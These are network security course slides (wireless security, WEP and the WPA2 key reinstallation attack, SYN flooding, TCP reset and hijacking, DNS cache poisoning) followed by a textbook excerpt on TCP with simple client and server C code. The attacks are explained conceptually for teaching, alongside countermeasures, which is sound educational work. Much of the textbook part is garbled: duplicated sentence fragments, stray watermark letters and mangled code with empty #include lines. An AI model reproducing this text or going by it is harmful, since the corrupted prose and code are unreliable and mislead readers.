FIT3031/FIT5037 NETWORK SECURITY
Week 7
Wireless Security
2
L07: Outline and Learning Outcomes
• Overview security threats and countermeasures for
wireless networks.
• Describe the essential elements of the IEEE 802.11
wireless security standard
• WEP (insecure), WPA, WPA2
• Understand the vulnerability in WPA2 implementation
• Analyse the unique threats posed by the physical layer
• Jamming attacks
3
Wireless Security: the Problem
• channel
• broadcast, easier to eavesdrop and jamming
• mobility and accessibility
• terminals more accessible / open to threats
• resources
• limited memory / power so harder to
implement security systems
Attack Surface
• Endpoint: mobile phones, laptop, tablet, sensor,
bluetooth devices…
• Access point: cell towers, WiFi hot spots…
• Transmission medium: radio waves
5
Threats
• Man-in-the-middle
• Identity theft, media access control address
(MAC) spoofing
• Ad hoc networks: lack of a central point of
control, e.g., p2p network.
• Denial of service (DoS)
• Network injection
6
IEEE 802.11 WLAN Security
• Wi-Fi Alliance
• IEEE 802.11a, 802.11b [1999]
• Wired Equivalent Privacy (WEP)
• IEEE 802.11g [2003]
• Wi-Fi Protected Access (WPA) [2003]
• IEEE 802.11i [2004]
• WPA2 aka Robust Security Network (RSN)
IEEE 802.11 WLAN Security
IEEE 802.11 WLAN Security
• MAC layer
• control access to tx medium
• assemble data into frame with fields for
address and for error detection (& discard
frames with errors)
General IEEE 802 MPDU format
IEEE 802.11 WLAN Security
• MAC control: protocol ctrl info e.g. priority level
• Dest/Src MAC addr: physical address on the LAN
for this MPDU
• MAC Service Data Unit: data from upper layer
• CRC (cyclic redundancy check), frame check
sequence (FCS)
IEEE 802.11 WLAN Security
• Logical Link Control (LLC) layer
• track which frames received well & retransmit
unsuccessful frames
IEEE 802.11 Architecture
• Basic service set
(BSS) / Cell
• smallest
building block
• wireless
stations
running same
MAC protocol,
computing to
access same
shared wireless
medium
IEEE 802.11 Architecture
• Access Point
(AP)
• bridge / relay
• client
stations don’t
comm
directly, via
AP
IEEE 802.11 Architecture
• Distribution
System (DS)
• connect BSS
blocks
IEEE 802.11 Architecture
• Extended
service set
(ESS)
• two or more
BSS via DS
(switch,
wired/
wireless
network)
15
Wireless Security Measures
• Securing transmissions:
• signal-hiding: to protect the location of
access points
• encryption
• Securing access points
• authentication
16
IEEE 802.11b Security: Wired Equiv Priv
• since 1999, for IEEE 802.11a, 802.11b
• obsoleted 2003 by WPA
• CONF: stream cipher RC4
• INT: CRC32
17
IEEE 802.11b Security: WEP
• INT: CRC32
• given input msg m
• d = CRC32(m)
• plaintext p = m||d
• ciphertext c = E(p,key)
• Note: checksum d does not depend on k
18
IEEE 802.11b Security: WEP CONF
• key: 40 bits
• IV: 24 bits
• seed = IV||key = 64 bits
• ciphertext c = p ⊕ RC4(IV,key)
• Q: how does Rx check INT?
IEEE 802.11b Security of WEP
• Intercepting Mobile Communications: The
Insecurity of 802.11, Boris, Goldberg, Wagner,
Mobicom 2001, ACM; http://
www.isaac.cs.berkeley.edu/isaac/mobicom.pdf
http://www.isaac.cs.berkeley.edu/isaac/mobicom.pdf
http://www.isaac.cs.berkeley.edu/isaac/mobicom.pdf
IEEE 802.11b Security of WEP
• prevents keystream reuse
• if p1 known, then p2 will
be known
• per packet IV
21
IEEE 802.11b InSecurity of WEP
• but, improper IV management
• IV collision
• WEP recommends (not require)
• IV changed per packet
• not say how
• some WEP implementations are weak
• e.g. PCMCIA cards reset IV to 0 each time re-
initialised when inserted into laptops
22
IEEE 802.11b InSecurity of WEP
• IV by design, very short: 24 bits
• possible unique values 224
• 16,777,216 packets
• e.g. AP sending
• 1500-byte packets at 5Mbps
• 416 packets per second
• 25,000 packets per minute
• 1,500,000 packets per hour
• 36,000,000 packets per day
IEEE 802.11b Security of WEP’s INT
• CRC32 not a MAC
• CRC32 is linear
• CRC32 used with a stream cipher
• stream cipher is linear
• WEP checksum i.e. CRC32
• is linear function of m
• let c(m) be CRC32(m)
• then c(x⊕y) = c(x)⊕c(y)
• Can modify ciphertext without disturbing m
IEEE 802.11b Security of WEP’s INT
• Can modify ciphertext without disturbing m:
• ciphertext C intercepted and replaced with C’
• Compute the C’ as:
• Decrypted message M’ changed to M⊕Δ
• without even needing to know what is M
25
IEEE 802.11g Security of WPA
• 2003, interim, before 802.11i’s WPA2, obsoleted 2012
• Temporal Key Integrity Protocol (TKIP)
• per-packet key mixing of IV & key before RC4
encryption
• uses sequence counter for frames to prevent replay
attacks
• uses message integrity check (MIC) instead of
CRC32
• re-keying: per-packet unique keys
26
IEEE 802.11i Security of WPA2
• 2004, uses AES in CCMP mode, vs RC4 in
WEP,WPA
• Counter with CBC-MAC protocol (CCMP)
27
Key Reinstallation Attacks on WPA2
• Vanhoef, M., Piessens, F.: Key reinstallation
attacks: Forcing nonce reuse in WPA2. In the 24th
ACM Conference on Computer and
Communication Security (ACM CCS), 2017
• Partial contents are selected from the paper
AES-CTR in CCMP
• Stream ciphers are vulnerable to attacks of re-using the
same key or nonce.
29
The 4-way handshake
• Used to connect to any protected Wi-Fi network
• Provides mutual authentication
• Negotiates fresh PTK: pairwise temporal key
• Appeared to be secure:
• No attacks in over a decade (apart from
password guessing)
• Proven that negotiated key (PTK) is secret
• And encryption protocol proven secure
The 4-way handshake
• Left: client
• Right: AP
The 4-way handshake
• PMK (Pairwise Master Key): Created by both AP and client on
their ends after authentication.
• PTK (Pairwise Transient Key): PTK = f(PMK, SNonce,
ANonce). It protects unicast communication b/w AP and client.
• GTK (Group Temporal Key): Created by AP and transferred to
client. It protects broadcast communication.
Frame encryption (after PTK installation)
• Nonce reuse implies keystream reuse!
• Why?
Reinstallation Attack
Reinstallation Attack
Reinstallation Attack
• Msg4 is sent encrypted
Reinstallation Attack
Reinstallation Attack
• Nonce is reset in PTK reinstallation!
Reinstallation Attack
• Same nonce is used for Msg4 and Data
Reinstallation Attack
40
Countermeasures
• Solution: AP can prevent (most) attacks on clients
• Do not retransmit message 3/4
• However:
• Impact on reliability unclear
• clients and APs may not be updated
41
Physical Layer Security
• eavesdropping and jamming attacks
42
Jamming
• The adversary interferes with the
reception of messages by
transmitting a continuous jamming
signal, or several short jamming
pulses.
• cause DoS
• Detection:
• monitor signal strength
• monitor carrier sensing time
A
B
X0AP0
AP1
AP2
C
D X1
• More details: Xu et al. “The feasibility of launching and detecting
jamming attacks in wireless networks.” ACM MobiHoc, 2005.
43
Further Reading
• Overview threats and countermeasures for wireless networks.
• Describe the essential elements of the IEEE 802.11 standard
• Understand the vulnerability in WPA2 implementation
• Analyse the unique threats posed by the physical layer
• Acknowledgement:
• “Network Security Essentials: Applications and Standards,
Global Edition”
• Next week: Network Attacks (Live Streaming on Oct 6)
Summary
FIT3031/FIT5037 NETWORK SECURITY
Week 8
Network Attacks
Dr Xingliang Yuan
Department of Software Systems and Cybersecurity
2
L08: Outline and Learning Outcomes
• TCP Protocols
• SYN flooding attack
• TCP reset attack
• TCP session hijacking attack
• DNS protocols
• Local DNS cache poisoning attack
• Remote DNS cache poisoning attack
• DoS attack
Transport Layer in the OSI Model
• multiplexing/demultiplexing: decide which
packets go to which application processes
4
Why do we need a transport layer?
• IP provides a weak service model
• IP packets can be corrupted, delayed, dropped,
reordered, duplicated
• Huge efforts for developers, e.g.,
• How many packets shall an application send?
• When should those packets be sent?
• Transport layer protocol: offer end-to-end communication
for application layers
• Reliable, in-order data delivery
• Congestion control
5
TCP Overview
• RFCs: 793,1122,1323, 2018, 2581
• Point-to-point
• one sender and one receiver
• Reliable, in-order byte stream
• Full duplex data
• bi-directional data flow in same connection
• MSS: maximum segment size
• Congestion control (not our focus)
TCP/IP Header Encapsulation
Stream
Segments
Datagram
Frame
TCP Overview: Data Transmission
• Once a connection is established
• OS allocates two buffers at each endpoint, one for sending data
(send buffer) and receiving buffer (receive buffer).
• When an application needs to send data out, it places data into the
TCP send buffer.
TCP Overview: Data Transmission
• Each octet (byte) in the send buffer has a sequence number field in the
header which indicates the sequence of the packets.
• At the receiver end, these sequence numbers are used to place data in
the right position inside receive buffer.
• Once data is placed in the receive buffer, they are merged into a single
data stream.
TCP Overview: Data Transmission
• Applications read from the receive buffer. If no data is available, it
typically gets blocked. It gets unblocked when there is enough data
to read.
• The receiver informs the sender about receiving of data using
acknowledgement packets
10
TCP Header
• Port number: identify application processes, e.g.,
HTTP 80, HTTPS 443, FTP 21…
11
TCP Header
• Sequence number (32 bits) : specifies the sequence
number of the first octet (byte) in the TCP segment. If SYN
bit is set, it is the initial sequence number.
12
TCP Header
• Acknowledgement number (32 bits): contains the value of
the next sequence number expected by the sender of this
segment. Valid only if ACK bit is set.
Seq. number & ACK
• Sequence number: specifies the sequence number of the first octet (byte)
in the TCP segment.
• Acknowledgement number: contains the value of the next sequence
number expected by the sender of this segment.
User
types
�C�
host ACKs
receipt
of echoed
�C�
host ACKs
receipt of
�C�, echoes
back �C�
Seq=42, ACK=79, data = �C�
Seq=79, ACK=43, data = �C�
Seq=43, ACK=80
Example from Computer Networking: A Top Down Approach, Jim Kurose, Keith Ross
TCP 3-way Handshake Protocol
• SYN packet:
• Client sends a special packet called
SYN packet to server using a random
number x as its sequence number.
• SYN-ACK Packet:
• On receiving it, server sends a reply
packet using its own random number y
as its sequence number
• ACK Packet
• Client sends out ACK packet to
conclude the handshake
TCP 3-way Handshake Protocol
• When the server receives the initial
SYN packet, it uses TCB
(Transmission Control Block) to store
the information about the connection.
• This is called half-open
connection as only client-server
connection is confirmed.
• The server stores the TCB in a
queue that is only for the half-
open connection.
TCP 3-way Handshake Protocol
• After the server gets ACK packet,
it will take this TCB out of the
queue and store in a different
place.
• If ACK doesn’t arrive, the server
will resend SYN+ACK packet.
• The TCB will eventually be
discarded after a certain time
period.
17
• TCP Flooding Attack
SYN Flooding Attack
• To fill the queue storing the half-open
connections, there will be no space to
store TCB for any new half-open
connection
• Server cannot accept any new SYN packets.
SYN Flooding Attack
• Steps to achieve this:
• Continuously send a lot of SYN packets to
the server. This consumes the space in the
queue by inserting the TCB record.
• Do not finish the 3rd step of handshake as it
will dequeue the TCB record
When flooding the server with SYN packets, one may use random source
IP addresses; otherwise the attacks may be blocked by the firewalls.
Countermeasure: Naive Solution
• Server does not allocate resources at all
after it has only received the SYN packet
• Server will allocate resources only it has
received the ACK packet
• Q: is it secure?
21
Countermeasure: SYN Cookies
• After a server receives a SYN packet, it calculates a keyed
hash (H) from the information in the packet using a secret key
that is only known to the server.
• This hash (H) is sent to the client as the initial sequence
number from the server. H is called SYN cookie.
• The server will not store the half-open connection in its queue.
• If the client is an attacker, H will not reach the attacker (IP is
fake).
• If the client is not an attacker, it sends H+1 in the
acknowledgement field.
• The server checks if the number in the acknowledgement field
is valid or not by recalculating the cookie.
22
• TCP Reset Attack
23
TCP Reset Attack
• Reset packet can stop the connection between two hosts.
TCP Disconnection
• To disconnect a TCP connection:
• A sends out a “FIN” packet to B.
• B replies with an “ACK” packet. This
closes the A-to-B communication.
• Now, B sends a “FIN” packet to A and A
replies with “ACK”.
• Using Reset flag:
• One of the parties sends RST packet to
immediately break the connection.
TCP Reset Attack
• Spoofing Src&Dest IP, Port, Seq
• Q: can TLS mitigate this attack?
26
• TCP Session Hijacking Attack
TCP Session Hijacking Attack
• Goal: To inject data in a TCP connection – further trigger
buffer overflow at the receiver’s machine
• Spoofing Src&Dest IP, Port, Seq
TCP Session Hijacking Attack
• If the receiver has already received some data up to the sequence
number x, the next sequence number is x+1.
• If the spoofed packet uses sequence number as x+𝛿, it
becomes out of order.
• The data in this packet will be stored in the receiver’s buffer at
position x+𝛿, leaving 𝛿 spaces (having no effect).
• If 𝛿 is large, it may fall out of the boundary.
29
Countermeasures
• Making it difficult for attackers to spoof packets
• Randomise source port number
• Randomise initial sequence number
• Encrypting payload
30
L08: Outline and Learning Outcomes
• DNS protocols
• DNS cache poisoning attack
• DoS attack
31
Domain Names
• Domain name
• human friendly names for servers/
services
• Hierarchical, e.g., www.google.com
• .com: top-level domain
• google.com: subdomain of com
• www.google.com: subdomain of
google.com
DNS Domain Hierarchy
• Domain namespace is organised in a hierarchical tree-like
structure.
• Each node is called a domain, or subdomain.
DNS Zone
• A zone:
• groups contiguous domains and subdomains on the
domain tree
• assigns management authority to an entity.
34
Authoritative Name Servers
• Each DNS zone has at least one authoritative
nameserver that publishes information about the zone.
• It provides the original and definitive answers to DNS
queries.
• An authoritative name server can be a master server
(primary) or slave server (secondary).
• A master server stores the master copies of all zone
records whereas a slave server uses an automatic
updating mechanism to maintain an identical copy of
the master records.
35
DNS ROOT Servers
• The root zone is called ROOT.
• There are 13 authoritative
nameservers (DNS root
servers) for this zone.
• They provide the nameserver
information about all TLDs
• https://www.internic.net/
domain/root.zone
• They are the starting point of
DNS queries.
36
Top Level Domain (TLD)
• Infrastructure TLD: .arpa
• Generic TLD (gTLD): .com, .net,
• Sponsored TLD (sTLD): These domains are proposed and
sponsored by private agencies or organizations that establish and
enforce rules restricting the eligibility to use the
TLD: .edu, .gov, .mil, .travel, .jobs
• Country Code TLD (ccTLD): .au (Australia), .cn (China), .fr (France)
• Reserved TLD: .example, .test, .localhost, .invalid
37
Domain Names Creation and Query
• Domain names are registered and assigned
by domain-name registrars, accredited by
the Internet Corporation for Assigned
Names and Numbers (ICANN), same group
allocating the IP address space
• DNS query: translates www.google.com to
74.125.25.99: resolves www.google.com
DNS Query
Local DNS File
• /etc/host: stores IP addresses for some hostnames. Before machine
contacts the local DNS servers, it first looks into this file for the IP
address.
127.0.0.1 localhost
10. 1. 2. 200 www.monash.edu
• /etc/resolv.conf: provide information to the machine’s DNS resolver
about the IP address of the local DNS server. The IP address of the
local DNS server provided by DHCP is also stored here.
Enumerating Local DNS Server
Directly send the query to this server.
No answer
(the root does
not know the
answer)
Go ask them!
• There are 4 types of sections in a DNS response :
• Question section: Describes a question to a nameserver
• Answer section: Records that answer the question
• Authority section: Records that point toward authoritative nameservers
• Additional section: Records that are related to the query.
41
DNS Response
• In the above example, we see that as root server doesn’t know the answer
there is no answer section, but tells us about the authoritative nameservers
(NS Record) along with their IP addresses in the Additional section (A record).
Directly send the query to this server.
No answer
(the root does
not know the
answer)
Go ask them!
42
Name Servers
• To resolve a domain name, a resolver queries a distributed
hierarchy of DNS servers also called name servers
43
DNS Cache
• When the local DNS server gets information from
other DNS servers, it caches the information.
• Each piece of information in the cache has a time-
to-live value, so it will be eventually time out and
removed from the cache.
44
DNS Attacks
• Denial-of-Service Attacks (DoS):
• When the local DNS servers and the authoritative
nameservers do not respond to the DNS queries,
the machines cannot retrieve IP addresses which
essentially cuts down the communication.
• DNS Spoofing Attacks:
• Primary goal: provide a fraudulent IP address to
victims, tricking them to communicate with a
machine that is different from their intention.
DNS Attack Surfaces
46
Compromising User Machine
• Modify /etc/resolv.conf:
• use malicious DNS server as the machine’s local
DNS server and can control the entire DNS
process.
• Modify /etc/hosts:
• add new records to the file, providing the IP
addresses for some selected domains.
• For example, attackers can modify IP address of
www.bank32.com which can lead to attacker’s
machine.
47
• Local DNS cache poisoning attack
Spoofing DNS Replies
• Attacks on user machines:
• When the user machine sends out a DNS query to its local DNS
server, attacker can immediately send a spoofed reply, using local
DNS as its source IP address. Attackers can put any arbitrary IP
address in the reply.
Local DNS Cache Poisoning Attack
• Attacks on local DNS server (Cache Poisoning attack):
• When the local DNS server sends out iterative queries to get an
answer from the DNS servers on the Internet, attackers can send
out spoofed replies to the local DNS server.
• They get accepted as long as they arrive before the actual
replies. This is called DNS cache poisoning.
50
• Remote DNS cache poisoning attack
51
Remote DNS Cache Poisoning Attack
• For remote attackers who are not on the same
network as the local DNS server, spoofing replies
is much more difficult.
• need to guess port number, transaction ID, etc.
• Cache effect: If one attempt fails, the actual reply
will be cached by local DNS server; attacker need
to wait for the cache to timeout for the next
attempt.
The Kaminsky Attack: Sample Response
This random
name will change
for each attack
attempt
This answer
does not matter
This is what we want the local
DNS server to cache
Tell the DNS server to use this one as the
nameserver for the example.com domain
The Kaminsky Attack
• Ask a different question every time, so caching the answer does not
matter, and the local DNS server will send out a new query each time.
• Provide forged answer
Spoofing Replies: IP and UDP headers
Spoofing Replies: DNS Header and Payload
56
Countermeasure: DNSSSC
• DNSSEC is a set of extension to DNS
• provide authentication and integrity checking
on DNS data.
• Key idea:
• all answers from DNSSEC protected zones
are digitally signed.
• By checking the digital signatures, a DNS
resolver is able to check if the information is
authentic or not.
• DNS cache poisoning will be defeated
Protection Using DNSSEC
58
Protection Using TLS/SSL
• After getting the IP address for a domain name
(www.example.net) using DNS protocol, a computer will ask
the owner (server) of the IP address to proof that it is
indeed www.example.net.
• The server has to present a public-key certificate signed by
a trusted entity and demonstrates that it knows the
corresponding private key associated with
www.example.net (i.e., it is the owner of the certificate).
• HTTPS is built on top of TLS/SSL. It defeats DNS cache
poisoning attacks.
59
DNSSEC vs TLS/SSL
• DNSSEC: provides object security (for DNS results) – Just
integrity & authentication, not confidentiality
• No client/server setup “dialog”
• Tailored to be caching-friendly
• Underlying security dependent on trust in Root Name
Server’s key, and all other signing keys
• TLS: provides channel security (for communication over TCP) –
Confidentiality, integrity, authentication
• Client & server agree on crypto, session keys
• Underlying security dependent on: trust in Certificate
Authorities / decisions to sign keys (as well as implementors)
60
Denial of Service Attacks on DNS
• Root nameservers: If the attackers can bring down the
servers of the root zone, they can bring down the entire
Internet. However, attack root servers is difficult:
• The root nameservers are highly distributed. There are
13 (A,B….M) root nameservers (server farm)
consisting of a large number of redundant computers
to provide reliable services.
• As the nameservers for the TLDs are usually cached
in the local DNS servers, the root servers need not be
queried till the cache expires (48 hrs). Attacks on the
root servers must last long to see a significant effect.
61
Denial of Service Attacks on DNS
• Attack on root nameservers (difficult): affect the
entire Internet.
• The root nameservers are highly distributed and
provide reliable services.
• The root servers are cached at local and need not be
queried till the cache expires (48 hrs).
• Attacks on the root servers must last long to see a
significant effect.
• Nameservers for the TLDs are easier to attack.
62
Further Reading
• Chapters on TCP and DNS in the reference book:
Computer & Internet Security: A Hands-on Approach
by Wenliang Du, 2019
• Related chapters are uploaded to moodle
• Acknowledgement: part of the materials presented in the slides was developed with the
help of Instructor’s Manual and other resources made available by the author of the
textbook.
Further Reading
Chapter 16
Attacks on the TCP Protocol
The Transmission Control Protocol (TCP) is a core protocol of the Internet protocol suite. It
sits on top of the IP layer, and provides a reliable and ordered communication channel between
applications running on networked computers. Most applications such as browsers, SSH, Telnet,
and email use TCP for communication. TCP is in a layer called Transport layer, which provides
host-to-host communication services for applications. In the TCP/IP protocol suite, there are
two transport-layer protocols: TCP and UDP (User Datagram Protocol). In contrast to TCP,
UDP does not provide reliability or ordered communication, but it is lightweight with lower
overhead, and is thus good for applications that do not require reliability or order.
To achieve reliability and ordered communication, TCP requires both ends of a commu-
nication to maintain a connection. Although this connection is only logical, not physical,
conceptually we can imagine this connection as two pipes between two communicating ap-
plications, one for each direction: data put into a pipe from one end will be delivered to the
other end. Unfortunately, when TCP was developed, no security mechanism was built into the
protocol, so the pipes are essentially not protected, making it possible for attackers to eavesdrop
on connections, inject fake data into connections, break connections, and hijack connections.
In this chapter, we first provide a short tutorial on how the TCP protocol works. Based
on that, we describe three main attacks on the TCP protocol: SYN flooding, TCP Reset, and
TCP session hijacking. Not only do we show how the attacks work in principle, we also
provide technical details of the attacks, so readers should be able to repeat these attacks in a lab
environment.
Contents
16.1 How the TCP Protocol Works . . . . . . . . . . . . . . . . . . . . . . . 328
16.2 SYN Flooding Attack . . . . . . . . . . . . . . . . . . . . . . . . . . . . 334
16.3 TCP Reset Attack . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 341
16.4 TCP Session Hijacking Attack . . . . . . . . . . . . . . . . . . . . . . . 347
16.5 Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 354
S
am
pl
e
onnectio
magine this connecne this con
h direction: data putection: data
ely, when TCP was dehen TCP wa
are essentially not proare essentially no
ect fake data into connke data into
, we first provide a shfirst provide
ibe three main attackshree main a
acking. Not only dong. Not only
al details of the attackails of the attack
m6.1 How the TCP Protoow the TCP16.2 SYN Flooding AttSYN Floodi16.3 TCP Reset AttacTCP Reset A
16.4 TCP Session Hi4 TCP Sessio
16.5 Summary . .5 Summary
S
a
C
ha
pt
er
TCP ProCP Pro
ol (TCP) is a core protCP) is a co
vides a reliable and orvides a reliable an
d computers. Most appcomputers.
ication. TCP is in a laycation. TCP is in
ervices for applicationervices for appl
: TCP and UDP (UseTCP and UDP
bility or ordered commity or ordered c
applications that dpplications th
commun
328 CHAPTER 16. ATTACKS ON THE TCP PROTOCOL
16.1 How the TCP Protocol Works
We first explain how the TCP protocol works. The actual TCP protocol is quite complicated,
with a lot of details, but it is not our intention to cover all those details. Our goal is to cover
enough details, so readers can understand the security aspects of TCP, including the attacks on
TCP and their countermeasures. We use a pair of programs, a simple TCP client and server, to
illustrate how TCP works. For simplicity, we have removed the error-checking logic, such as
checking whether a system call is successful or not.
16.1.1 TCP Client Program
We would like to write a simple TCP client program, which uses TCP to send a simple hello
message to the server. Before writing our own TCP server program, we will use an existing
utility to serve as the server. By running the “nc -l 9090 -v” command, we start a TCP
server, which waits on port 9090, and prints out whatever is sent from the client. The source
code for the client program is shown below.
Listing 16.1: TCP Client Program (tcp client.c)
#include
#include
#include
#include
#include
#include
int main()
{
// Step 1: Create a socket
int sockfd = socket(AF_INET, SOCK_STREAM, 0);
// Step 2: Set the destination information
struct sockaddr_in dest;
memset(&dest, 0, sizeof(struct sockaddr_in));
dest.sin_family = AF_INET;
dest.sin_addr.s_addr = inet_addr(“10.0.2.69”);
dest.sin_port = htons(9090);
// Step 3: Connect to the server
connect(sockfd, (struct sockaddr *)&dest,
sizeof(struct sockaddr_in));
// Step 4: Send data to the server
char *buffer1 = “Hello Server!\n”;
char *buffer2 = “Hello Again!\n”;
write(sockfd, buffer1, strlen(buffer1));
write(sockfd, buffer2, strlen(buffer2));
// Step 5: Close the connection
close(sockfd);
return 0;
}
ee eleCK_STREAM, 0)pl
e
mation
plpockaddr_p
m
p”10.0.2.
m
p
merver mka *)&dmaddr_iamhe serveraerver!\n”;
S
again!\n”;
S
a1, strlen(bu
S
aer2, strlenShe connectioSS
C
ha
pt
erl is quite complicateduite complics. Our goal is to coveur goal is toincluding the attacksding the attaTCP client and serverTCP client and seor-checking logic, succhecking logic
uses TCP to send a simTCP to send a sim
program, we will useram, we will
0 -v”” command, wecommand
is sent from the clienfrom the c
tcp
C
hclient.cclient )
C
h
CCCCC
16.1. HOW THE TCP PROTOCOL WORKS 329
After compiling and running this code, the server will print out the hello messages sent by
the client. We provide a further explanation of the code.
• Step 1: Create a socket. When creating a socket, we need to specify the type of
communication. TCP uses SOCK STREAM, while UDP uses SOCK DGRAM.
• Step 2: Set the destination information. We need to provide information about the
server, so that the system knows where to send our TCP data. Two pieces of information
are needed to identify a server, the IP address and port number. In our example, the server
program is running on 10.0.2.69, waiting on port 9090.
• Step 3: Connect to the server. TCP is a connection-oriented protocol, which means,
before two computers can exchange data, they need to establish a connection first. This
involves a protocol called TCP three-way handshake protocol (will be covered later). This
is not a physical connection from the client to the server; it is a logical connection that is
only known to the client and server computers. A connection is uniquely identified by
four elements: source IP, source port number, destination IP, and destination port number.
• Step 4: Send and receive data. Once a connection is established, both ends of the
connection can send data to each other using system calls, such as write(), send(),
sendto(), and sendmsg(). They can also retrieve data sent from the other side using
the read(), recv(), recvfrom(), and recvmsg() system calls.
• Step 5: Close the connection. Once a connection is no longer needed, it should be
closed. By invoking the close() system call, the program will send out a special packet
to inform the other side that the connection is now closed.
16.1.2 TCP Server Program
Now, let us write our own TCP server, which simply prints out the data received from the client.
The code is shown below, followed by more detailed explanation.
Listing 16.2: TCP Server Program (tcp server.c)
#include
#include
#include
#include
#include
#include
int main()
{
int sockfd, newsockfd;
struct sockaddr_in my_addr, client_addr;
char buffer[100];
// Step 1: Create a socket
sockfd = socket(AF_INET, SOCK_STREAM, 0);
// Step 2: Bind to a port number
memset(&my_addr, 0, sizeof(struct sockaddr_in));
pl
e
side th
ver ProgramProgram
own TCP server, whicown TCP server,
below, followed by mow, followed
Listing 16.2: TCP Ssting 16.2:pd.h>
m
p
m
png.h>
m
socket.h>
mtinet/ipmpa/inet.hamamakfd, news
S
asockaddr_
S
ar buffer[100
S
a
/ Step 1: CrSockfd = sockS2
C
ha
pt
er
ver will print out theill pr
code.
ng a socket, we needsocket, we
AM, while UDP useshile UDP us S
tion.n. We need to proWe need to
e to send our TCP datend our TCP
address and port numbress and po
9, waiting on portiting on por 909
TCP is a connection-connection
nge data, they need todata, they need to
hree-way handshake pway handsha
om the client to the sere client to th
server computers. Aer computers
urce port number, destiport number,
e data.ata Once a connOnce
to each other using syto each other usi
msg()msg . They can alsoey ca
, recvfrom()recvfrom(), and,
nection.ction. Once a cOnce
) system
i
330 CHAPTER 16. ATTACKS ON THE TCP PROTOCOL
my_addr.sin_family = AF_INET;
my_addr.sin_port = htons(9090);
bind(sockfd, (struct sockaddr *)&my_addr, sizeof(struct
sockaddr_in));
// Step 3: Listen for connections
listen(sockfd, 5);
// Step 4: Accept a connection request
int client_len = sizeof(client_addr);
newsockfd = accept(sockfd, (struct sockaddr *)&client_addr,
&client_len);
// Step 5: Read data from the connection
memset(buffer, 0, sizeof(buffer));
int len = read(newsockfd, buffer, 100);
printf(“Received %d bytes: %s”, len, buffer);
// Step 6: Close the connection
close(newsockfd); close(sockfd);
return 0;
}
• Step 1: Create a socket. This step is the same as that in the client program.
• Step 2: Bind to a port number. An application that communicates with others over the
network needs to register a port number on its host computer, so when a packet arrives,
the operating system, based on the port number specified inside the packet, knows which
application is the intended receiver. A server needs to tell the operating system which
port number it intends to use, and this is done through the bind() system call. In our
example, the server program uses port 9090. Popular servers are always bound to some
specific port numbers that are well known, so clients can easily find them without figuring
out what port numbers these servers are listening to. For example, web servers typically
use ports 80 and 443, and SSH servers use port 22.
Client programs also need to register a port number, they can use bind() to do that.
However, it is not important for clients to use any particular port number, because nobody
needs to find them first: they reach out to others first, and can tell others what number
they are using. Therefore, as we show in our code, client programs usually do not call
bind() to register to a port number; they leave the decision to the operating system.
Namely, if they have not registered a port number yet, when they invoke connect() to
initiate a connection, operating systems will assign a random port number to them.
• Step 3: Listen for connections. Once the socket is set up, TCP programs call the
listen() system call to wait for connections. This call does not block, so it does not
really “wait” for connections. It tells the system that the application is ready for receiving
connection requests. Once a connection request is received, the operating system will go
through the TCP three-way handshake protocol with the client to establish a connection.
An established connection is then placed in a queue, waiting for the application to take
over the connection. The second argument of the listen() system call specifies the
S
am
pl
e ication that comn thaton its host computerts host comnumber specified insidber specifiedA server needs to tellA server needs tois is done through theis done thro
ort 909090. Popular serv. Popular
known, so clients can ewn, so client
ers are listening to. Fore listening to
ervers use port 22.use port 22
egister a port numberter a port number
r clients to use any parnts to use any
y reach out to others fich out to oth
as we show in our code show in our
ort number; they leavumber; they
egistered a port numbeered a port nu
erating systems will asng systems w
onnections.ons. Once theOnce
all to wait for connectall to wait for con
nections. It tells the synections. It tells
. Once a connection reOnce a connecti
ree-way handshake pe-way handsha
is then placethen
rgu
C
ha
pt
errerereteteptppient_addr,apapahaha
C
h
C
h
C
h
Cn the clien
16.1. HOW THE TCP PROTOCOL WORKS 331
limit of the queue, i.e., how many pending connections can be stored in the queue. If the
queue is full, further connection requests will be dropped.
• Step 4: Accept a connection request. Although the connection is already established, it
is not available to the application yet. An application needs to specifically “accept” the
connection before being able to access it. That is the purpose of the accept() system
call, which extracts the first connection request from the queue, creates a new socket,
and returns a new file descriptor referring to that socket. The call will block the calling
application if there is no pending connection, unless the socket is marked as non-blocking.
The socket created at the beginning of the program is only used for the purpose of listening;
it is not associated with any connection. Therefore, when a connection is accepted, a new
socket is created, so the application can access this connection via the new socket.
• Step 5: Send and Receive data. Once a connection is established and accepted, both
ends of the connection can send data to each other. The way to send and receive data is
the same as that in the client program. Actually, for an established connection, in terms of
data transmission, both ends are equal; there is no distinction between client and server.
Accepting multiple connections. The code in List 16.2 is a simplistic example of TCP server
programs, and it only accepts one connection. A more realistic TCP server program allows
multiple clients to connect to it. The typical way to do that is to fork a new process once a
connection is accepted, and use the child process to handle the connection. The parent process
will then be freed, so it can loop back to the accept() call to process another pending
connection request. A modified version of the server program is shown below.
Listing 16.3: Improved TCP server (tcp server improved.c)
// Listen for connections
listen(sockfd, 5);
int client_len = sizeof(client_addr);
while (1) {
newsockfd = accept(sockfd, (struct sockaddr *)&client_addr,
&client_len);
if (fork() == 0) { // The child process �
close (sockfd);
// Read data.
memset(buffer, 0, sizeof(buffer));
int len = read(newsockfd, buffer, 100);
printf(“Received %d bytes.\n%s\n”, len, buffer);
close (newsockfd);
return 0;
} else { // The parent process �
close (newsockfd);
}
}
p
e
odified ver
6.3: Improved TCP semproved TCleconnectionsle5); pl= sizeof(cppaccept(so
m
p
m
p
== 0) {
m(sockfmead dam
buffer
amt len = raintf(“Rece
S
aclose (new
S
areturnS} else { /Sclose (nS} S
C
ha
pt
er
onnections can be stoctions
ll be dropped.ropped.
lthough the connectiongh the conne
n application needs tolication nee
it. That is the purpose. That is the pur
on request from the qrequest from t
rring to that socket. Tto that socke
nection, unless the socion, unless t
of the program is onlye program is o
ection. Therefore, whe. Therefore, whe
ion can access this concan access this con
ata. Once a connectionce a conne
end data to each otherdata to each o
program. Actually, forram. Actuall
ds are equal; there is ns are equ
ons.ons. The code in Listcode
s one connection. Aone connection
to it. The typical wayit. The typical
the child processhe child pro
k to the
332 CHAPTER 16. ATTACKS ON THE TCP PROTOCOL
The fork() system call creates a new process by duplicating the calling process. On
success, the process ID of the child process is returned in the parent process, while 0 is returned
in the child process. Therefore, the if branch (Line �) in the code above is executed by the
child process, and the else branch (Line �) is executed by the parent process. The socket
sockfd is not used in the child process, so it is closed there; for the same reason, the parent
process should close newsockfd.
16.1.3 Data Transmission: Under the Hood
1 2 3
123 1 23
1 2 3
